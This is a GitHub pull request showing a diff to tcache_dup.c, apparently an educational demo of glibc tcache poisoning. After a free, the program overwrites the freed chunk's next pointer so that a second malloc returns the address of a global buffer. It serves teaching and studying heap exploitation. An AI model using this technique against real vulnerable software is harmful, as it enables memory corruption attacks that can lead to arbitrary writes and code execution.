Skip to content

tcache_dup.c fixed #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
Eterna1 wants to merge 2 commits into
base: master
Choose a base branch
from
Open

tcache_dup.c fixed #2

Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
7d5fdff
tcache_dup fixed
Eterna1 Dec 9, 2020
1280596
some fix in text
Eterna1 Dec 9, 2020
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 8 additions & 4 deletions tcache_dup.c
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>

char buf[0x20];

int main(int argc,char **argv)
{
//this is tcache
Expand All @@ -18,15 +21,16 @@ int main(int argc,char **argv)
void *p,*q,*r,*d;
p = malloc(0x10);
q = malloc(0x10);
free(q);
free(p);
printf("now , we have a tcache which is already free\n");
printf("We can modify its next pointer!\n");
*(uint64_t *)p = (uint64_t)q;
printf("now p's next pointer = q\n");
printf("p's next = %p ,q = %p\n",*(uint64_t *)p,q);
*(uint64_t *)p = (uint64_t)buf;
printf("now p's next pointer = buf\n");
printf("p's next = %p ,buf = %p\n",*(uint64_t *)p,buf);
printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!\n");
r = malloc(0x10);
d = malloc(0x10);
printf("OK!, we get we want!\n");
printf("OK!, we get we want, d = %p\n",d);

}